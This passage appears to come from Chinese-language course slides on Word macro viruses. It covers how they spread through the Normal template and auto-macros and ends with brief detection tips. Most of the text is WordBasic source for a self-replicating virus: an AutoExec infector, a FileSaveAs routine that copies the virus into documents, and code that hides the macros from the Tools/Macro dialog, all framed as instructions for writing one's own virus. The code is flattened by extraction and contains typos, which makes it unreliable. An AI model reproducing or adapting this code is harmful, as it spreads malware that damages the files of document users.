Draw、PDF等等。,宏病毒的特点,传播极快,制作、变种方便,破坏可能性极大,多平台交叉感染,地域性问题,宏病毒的共性,宏病毒会感染DOC文档文件和DOT模板文件。,打开时激活,通过Normal模板传播。,通过AutoOpen,AutoClose,AutoNew和AutoExit等自动宏获得控制权。,病毒宏中必然含有对文档读写操作的宏指令。,宏病毒的作用机制,模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性(包括宏、菜单、格式等)。,编制宏病毒要用到的宏如右表,宏病毒关键技术,(1)自动执行的示例代码:,Sub MAIN,On Error Goto Abort,iMacroCount = CountMacros(0, 0),检查是否感染该文档文件,For i = 1 To iMacroCount,If MacroName$(i, 0, 0) = PayLoad Then,bInstalled = - 1,检查正常的宏,End If,If MacroName$(i, 0, 0) = FileSaveAs Then,bTooMuchTrouble = - 1,但如果FILESAVEAS 宏存在那么传染比较困难.,End If,Next i,If Not bInstalled And Not bTooMuchTrouble Then,加入FileSaveAs 和拷贝到AutoExec and FileSaveAs.,有效代码不检查是否感染.,把代码加密使不可读.,iWW6IInstance = Val(GetDocumentVar$(WW6Infector),sMe$ = FileName$(),Macro$ = sMe$ + :PayLoad,MacroCopy Macro$, Global:PayLoad, 1,Macro$ = sMe$ + :FileOpen,MacroCopy Macro$, Global:FileOpen, 1,Macro$ = sMe$ + :FileSaveAs,MacroCopy Macro$, Global:FileSaveAs, 1,Macro$ = sMe$ + :AutoExec,MacroCopy Macro$, Global:AutoExec, 1,SetProfileString WW6I, Str$(iWW6IInstance + 1),End If,Abort:,End Sub,(2) SaveAs 程序:,这是一个当使用FILE/SAVE AS功能时,拷贝宏病毒到活动文本的程序。它使用了许多类似于AutoExec程序的技巧。尽管示例代码短小,但足以制作一个小巧的宏病毒。,Sub MAIN,Dim dlg As FileSaveAs,GetCurValues dlg,Dialog dlg,If (Dlg.Format = 0) Or (dlg.Format = 1) Then,MacroCopy FileSaveAs, WindowName$() + :FileSaveAs,MacroCopy FileSave , WindowName$() + :FileSave,MacroCopy PayLoad, WindowName$() + :PayLoad,MacroCopy FileOpen, WindowName$() + :FileOpen,Dlg.Format = 1,End If,FileDaveAs dlg,End Sub,(3) 特殊代码:,还有些方法可以用来隐藏和使你的宏病毒更有趣。当有些人使用TOOLS/MICRO菜单观察宏时,该代码可以达到掩饰病毒的目的。,Sub MAIN,On Error Goto ErrorRoutine,OldName$ = NomFichier$(),If macros.bDebug Then,MsgBox start ToolsMacro,Dim dlg As OutilsMacro,If macros.bDebug Then MsgBox 1,GetCurValues dlg,If macros.bDebug Then MsgBox 2,On Error Goto Skip,Dialog dlg,OutilsMacro dlg,Skip:,On Error Goto ErrorRoutine,End If,REM enable automacros,DisableAutoMacros 0,macros.SaveToGlobal(OldName$),Goto Done,ErrorRoutine:,On Error Goto Done,If macros.bDebug Then,MsgBox error + Str$(Err) + occurred,End If,Done:,End Sub,Word宏病毒发现方法,在Normal模板发现有AutoOpen等自动宏,FileSave等标准宏或一些怪名字的宏,而自己又没有加载特殊模板,这就有可能有病毒了。,当打开一个文档时,未经任何改动,立即就有存盘操作,打开以DOC为后缀的文件在另存菜单中只能以模板方式存盘,无法使用“另存为(Save As)”修改路
展开阅读全文